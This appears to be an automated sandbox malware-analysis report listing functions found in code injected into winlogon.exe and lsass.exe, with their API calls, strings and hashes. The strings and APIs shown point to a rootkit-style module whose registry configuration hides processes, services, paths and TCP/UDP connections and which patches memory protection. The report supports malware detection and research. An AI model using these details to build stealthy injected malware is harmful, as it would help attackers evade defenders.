Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 958daf10776be36ad14651f8af9b4503ca9b67d81655b7db465c2faf28d38bcd
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: F4015E32641BD1C6D708DF67E90814A77A0F788FC5F85442AEA4A9371ADF38C091CB91

Function 000002E991762980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002E991762A9C
GetLastError.KERNEL32 ref: 000002E991762B27

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: dea98d673b1eb583a7a563bef56f37ee4aaf8a9f40eb06f1ad15a2b81e6a3132
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: BD91C3727546D285F7A09F66D4483AD3BA0F744BC8F56410FDE0AA7A96DB34C4C2CB22

Function 000002E99175253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002E991752620
StrCpyW.SHLWAPI ref: 000002E991752639

Strings

\\.\pipe\, xrefs: 000002E99175262B

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 1f9f842b75453c5857f6b2e56ffc77b939292a8ca7035f958eb5257443a8da6b
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: EE71B4362407C2C6E765DF27D8483AA6794F389B84F46042FDE0A53B9ADF35C685CB20

Function 000002E991729E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002E991729EB7

Strings

MOC, xrefs: 000002E991729E7C
RCC, xrefs: 000002E991729E85

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 84d4d0f52c9fe8424e130a51802f206c56cb391b230e05c660d89bf47d82b7fc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E6618633601B858AE720DF66D4443AD77B0F348B88F09451AEF4917B99DB38D596CB10

Function 000002E991752330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002E991752416
StrCpyW.SHLWAPI ref: 000002E99175242D

Strings

\\.\pipe\, xrefs: 000002E991752421

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: f62a7e3c712747ec3032839da713c06c279082095f181f860e761592c369468b
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 4A51F8326843C3C1E6749A2BE05C36A6B61F385784F56012FDD9A03B5BDB39C984CFA0

Function 000002E9917626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002E991762807
GetLastError.KERNEL32 ref: 000002E991762829

Strings

U, xrefs: 000002E9917627B3

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 3c3291cdee80793f077ca875b2c93d8f285802d27222ba8780e6ad337528432c
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 8541D532755B8282DB60CF26E8487A977A0F3987D4F92402AEE4DC7785EB3CC481CB51

Function 000002E9917594A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002E9917594F0
RaiseException.KERNEL32 ref: 000002E991759531

Strings

csm, xrefs: 000002E99175951E

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 207757b0be7941945bbc5168ef3fd331411ff0e9450000233a5a2120af0f3481
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 01114F32215B8182EB618F16F44435A77E5F788B98F594229EF8C47759EF3CC591CB00

Function 000002E991727356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002E99172737C

Strings

ierarchy Descriptor', xrefs: 000002E991727381
riptor at (, xrefs: 000002E991727364

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: a257186f3850c7b0ed0a211b5e55a5bcdb9ea12776083c4015b6f529102d0367
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 16E08661681B8990DF018F62E84429833A0EB59B64B499123995C06312FA38D2FAC720

Function 000002E9917273B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002E9917273D8

Strings

Locator', xrefs: 000002E9917273DD
riptor at (, xrefs: 000002E9917273C0

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 666d30d5e13efd7c2989cd14f499e6fcad5fce96985e36ef4ac7ff9aefadf28a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: CFE0CD61641B89C0DF018F62E44019873A0F759B54F8AD123CD4C07312FB38D2E6C720

Function 000002E991751BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E991751C2D
HeapAlloc.KERNEL32 ref: 000002E991751C3B
GetProcessHeap.KERNEL32 ref: 000002E991751C77
HeapFree.KERNEL32 ref: 000002E991751C85

Part of subcall function 000002E99175152C: StrCmpIW.SHLWAPI ref: 000002E99175155D

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: d4a5e8aca712c33a79de3256f17f9e0da43bbae3851e7c4569dd7d8c7212e1c3
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: FD119125641B8581EA44DB67E40C22973A1FB89FC1F5A402EDE4E93767DF39C482C750

Function 000002E991751268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E99175126E
HeapAlloc.KERNEL32 ref: 000002E99175127D
GetProcessHeap.KERNEL32 ref: 000002E991751297
HeapAlloc.KERNEL32 ref: 000002E9917512A8

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 1436bcb16dbf9b340cef29a2e619caaeb5be8261704b43b7e2ccef2ff9d21f13
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 9EE06D35641645C7EB088F63D80C34A36E1FB89F86F86C028C90987352DF7D84D9CBA1

Analysis Process: lsass.exePID: 640, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	104
Total number of Limit Nodes:	3

Executed Functions

Function 00000213BDCE202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000213BDCE20C6

Part of subcall function 00000213BDCE2F04: GetProcessHeap.KERNEL32 ref: 00000213BDCE2F27
Part of subcall function 00000213BDCE2F04: HeapAlloc.KERNEL32 ref: 00000213BDCE2F3A
Part of subcall function 00000213BDCE2F04: StrCmpNIW.SHLWAPI ref: 00000213BDCE2FAF
Part of subcall function 00000213BDCE2F04: GetProcessHeap.KERNEL32 ref: 00000213BDCE3015
Part of subcall function 00000213BDCE2F04: HeapFree.KERNEL32 ref: 00000213BDCE3023

Strings

dialer, xrefs: 00000213BDCE20BF
S, xrefs: 00000213BDCE21E7

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 01a705c1139b4e3a3236aaa51ba8ea78d077b3526d5db40ec5641de093292221
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: C951B2B2B1862887EF61CF25D8487EDA3E6F72879CF459021DE0552B85EB36EB51C300

Function 00000213BDCE328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000213BDCE32AE
PathFindFileNameW.SHLWAPI ref: 00000213BDCE32BD

Part of subcall function 00000213BDCE3844: StrCmpNIW.SHLWAPI ref: 00000213BDCE385C

Part of subcall function 00000213BDCE3790: GetModuleHandleW.KERNEL32 ref: 00000213BDCE379E
Part of subcall function 00000213BDCE3790: GetCurrentProcess.KERNEL32 ref: 00000213BDCE37CC
Part of subcall function 00000213BDCE3790: VirtualProtectEx.KERNEL32 ref: 00000213BDCE37EE
Part of subcall function 00000213BDCE3790: GetCurrentProcess.KERNEL32 ref: 00000213BDCE3809
Part of subcall function 00000213BDCE3790: VirtualProtectEx.KERNEL32 ref: 00000213BDCE382A

CreateThread.KERNEL32 ref: 00000213BDCE330B

Part of subcall function 00000213BDCE1D14: GetCurrentThread.KERNEL32 ref: 00000213BDCE1D1F

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 5d40ba2aa3b61c65a6b29e875bc405932eba3ae14eb689a115a8dbd4c5664118
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 3411E1B161CA0883FF20D720F80DBE92297ABB430EF5001389946451A6FF3BF3488254

Function 00000213BDCE1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000213BDCE1628: GetProcessHeap.KERNEL32 ref: 00000213BDCE1633
Part of subcall function 00000213BDCE1628: HeapAlloc.KERNEL32 ref: 00000213BDCE1642
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE16B2
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE16DF
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE16F9
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1719
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE1734
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1754
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE176F
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE178F
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE17AA
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE17CA

Sleep.KERNEL32 ref: 00000213BDCE1AD7
SleepEx.KERNELBASE ref: 00000213BDCE1ADD

Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE17E5
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1805
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE1820
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1840
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE185B
Part of subcall function 00000213BDCE1628: RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE187B
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE1896
Part of subcall function 00000213BDCE1628: RegCloseKey.ADVAPI32 ref: 00000213BDCE18A0

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 5c1e5f493c3240c0c1d6ba6cc6eea2f3c80886ee07ec0849ec39ecbda1c65d01
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2D31F0F120964943FF50DB26DA593E913A6ABA4BCCF0474319E098B695FE36E771C310

Function 00000213BDCB273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000213BDCB285E

Memory Dump Source

Source File: 00000029.00000002.3061237265.00000213BDCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdcb0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 62858d15b17bcbc33b2ca6a6066d80486455f950e6546258cbebb37c44571cfa
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: AF61E132B4969887EF54CF1590087ADB3A3F764BACF588125DE5D07788EA3ADA53C700

Non-executed Functions

Function 00000213BDCE2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000213BDCE2BD0
lstrlenW.KERNEL32 ref: 00000213BDCE2E0A

Part of subcall function 00000213BDCE199C: OpenProcess.KERNEL32 ref: 00000213BDCE19C2
Part of subcall function 00000213BDCE199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000213BDCE19E0
Part of subcall function 00000213BDCE199C: PathFindFileNameW.SHLWAPI ref: 00000213BDCE19EF
Part of subcall function 00000213BDCE199C: lstrlenW.KERNEL32 ref: 00000213BDCE19FB
Part of subcall function 00000213BDCE199C: StrCpyW.SHLWAPI ref: 00000213BDCE1A0E
Part of subcall function 00000213BDCE199C: CloseHandle.KERNEL32 ref: 00000213BDCE1A1C

GetProcAddress.KERNEL32 ref: 00000213BDCE2BE5

Part of subcall function 00000213BDCE152C: StrCmpIW.SHLWAPI ref: 00000213BDCE155D

Part of subcall function 00000213BDCE3844: StrCmpNIW.SHLWAPI ref: 00000213BDCE385C

StrCmpNIW.SHLWAPI ref: 00000213BDCE2C28
lstrlenW.KERNEL32 ref: 00000213BDCE2D50

Strings

ntdll.dll, xrefs: 00000213BDCE2BC9
\Device\Nsi, xrefs: 00000213BDCE2C1B
NtQueryObject, xrefs: 00000213BDCE2BDB

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 5807444a8450fc688cd656404e5327faf8bf80d9ed4d8e3fcbe0e129d3a2233c
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 16B190B2219A9883EF65CF25D4487E9A3A6FB68B8DF445026DE0953794FB36DF40C340

Function 00000213BDCE7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000213BDCE7DAC
RtlCaptureContext.NTDLL ref: 00000213BDCE7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000213BDCE7DF3
RtlVirtualUnwind.NTDLL ref: 00000213BDCE7E34
IsDebuggerPresent.KERNEL32 ref: 00000213BDCE7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000213BDCE7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000213BDCE7EB4

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: b5ca2973510a18e9044a362400021c8bf4fd35d0e5851b09ad40746068c8bd5a
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: E9311772209A848AEB60DF60E8847EE7366F79474CF44442ADA4E57A98EF39C748C710

Function 00000213BDCED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000213BDCED31D
RtlLookupFunctionEntry.NTDLL ref: 00000213BDCED335
RtlVirtualUnwind.NTDLL ref: 00000213BDCED370
IsDebuggerPresent.KERNEL32 ref: 00000213BDCED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000213BDCED3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000213BDCED3BE

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 8c31cb887ca66331edc06f01b646ec043365c389dcc0a630b6fed02098722ee4
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 6B319E76218B8086EB60CF25E8443DE73A1F79975CF500126EA9D47B99EF39C75ACB00

Function 00000213BDCE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000213BDCE1633
HeapAlloc.KERNEL32 ref: 00000213BDCE1642

Part of subcall function 00000213BDCE1268: GetProcessHeap.KERNEL32 ref: 00000213BDCE126E
Part of subcall function 00000213BDCE1268: HeapAlloc.KERNEL32 ref: 00000213BDCE127D
Part of subcall function 00000213BDCE1268: GetProcessHeap.KERNEL32 ref: 00000213BDCE1297
Part of subcall function 00000213BDCE1268: HeapAlloc.KERNEL32 ref: 00000213BDCE12A8

RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE16B2
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE16DF
RegCloseKey.ADVAPI32 ref: 00000213BDCE16F9
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1719
RegCloseKey.ADVAPI32 ref: 00000213BDCE1734
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1754
RegCloseKey.ADVAPI32 ref: 00000213BDCE176F
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE178F
RegCloseKey.ADVAPI32 ref: 00000213BDCE17AA
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE17CA
RegCloseKey.ADVAPI32 ref: 00000213BDCE17E5
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1805
RegCloseKey.ADVAPI32 ref: 00000213BDCE1820
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE1840
RegCloseKey.ADVAPI32 ref: 00000213BDCE185B
RegOpenKeyExW.ADVAPI32 ref: 00000213BDCE187B
RegCloseKey.ADVAPI32 ref: 00000213BDCE1896
RegCloseKey.ADVAPI32 ref: 00000213BDCE18A0

Part of subcall function 00000213BDCE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000213BDCE1319
Part of subcall function 00000213BDCE12BC: GetProcessHeap.KERNEL32 ref: 00000213BDCE1327
Part of subcall function 00000213BDCE12BC: HeapAlloc.KERNEL32 ref: 00000213BDCE1338
Part of subcall function 00000213BDCE12BC: RegEnumValueW.ADVAPI32 ref: 00000213BDCE1397
Part of subcall function 00000213BDCE12BC: GetProcessHeap.KERNEL32 ref: 00000213BDCE13DF
Part of subcall function 00000213BDCE12BC: HeapAlloc.KERNEL32 ref: 00000213BDCE13ED
Part of subcall function 00000213BDCE12BC: GetProcessHeap.KERNEL32 ref: 00000213BDCE140A
Part of subcall function 00000213BDCE12BC: HeapFree.KERNEL32 ref: 00000213BDCE1418
Part of subcall function 00000213BDCE12BC: lstrlenW.KERNEL32 ref: 00000213BDCE1421
Part of subcall function 00000213BDCE12BC: GetProcessHeap.KERNEL32 ref: 00000213BDCE142F
Part of subcall function 00000213BDCE12BC: HeapAlloc.KERNEL32 ref: 00000213BDCE143D

Strings

tcp_remote, xrefs: 00000213BDCE1839
process_names, xrefs: 00000213BDCE174D
udp, xrefs: 00000213BDCE1874
startup, xrefs: 00000213BDCE16D5
pid, xrefs: 00000213BDCE1712
SOFTWARE\dialerconfig, xrefs: 00000213BDCE1692
service_names, xrefs: 00000213BDCE17C3
tcp_local, xrefs: 00000213BDCE17FE
paths, xrefs: 00000213BDCE1788

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 9ce6f8576089a91c0a41a3022284374a307a37465a46bb01b2766921063186a7
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: BE712A76318A5486EF10DF22E848AD923A6F7A4B8CF402121DE4E47B6DEF36C758C744

Function 00000213BDCE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000213BDCE1319
GetProcessHeap.KERNEL32 ref: 00000213BDCE1327
HeapAlloc.KERNEL32 ref: 00000213BDCE1338
RegEnumValueW.ADVAPI32 ref: 00000213BDCE1397

Part of subcall function 00000213BDCE152C: StrCmpIW.SHLWAPI ref: 00000213BDCE155D

GetProcessHeap.KERNEL32 ref: 00000213BDCE13DF
HeapAlloc.KERNEL32 ref: 00000213BDCE13ED
GetProcessHeap.KERNEL32 ref: 00000213BDCE140A
HeapFree.KERNEL32 ref: 00000213BDCE1418
lstrlenW.KERNEL32 ref: 00000213BDCE1421
GetProcessHeap.KERNEL32 ref: 00000213BDCE142F
HeapAlloc.KERNEL32 ref: 00000213BDCE143D
StrCpyW.SHLWAPI ref: 00000213BDCE145F
GetProcessHeap.KERNEL32 ref: 00000213BDCE1476
HeapFree.KERNEL32 ref: 00000213BDCE1484

Strings

d, xrefs: 00000213BDCE135A

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
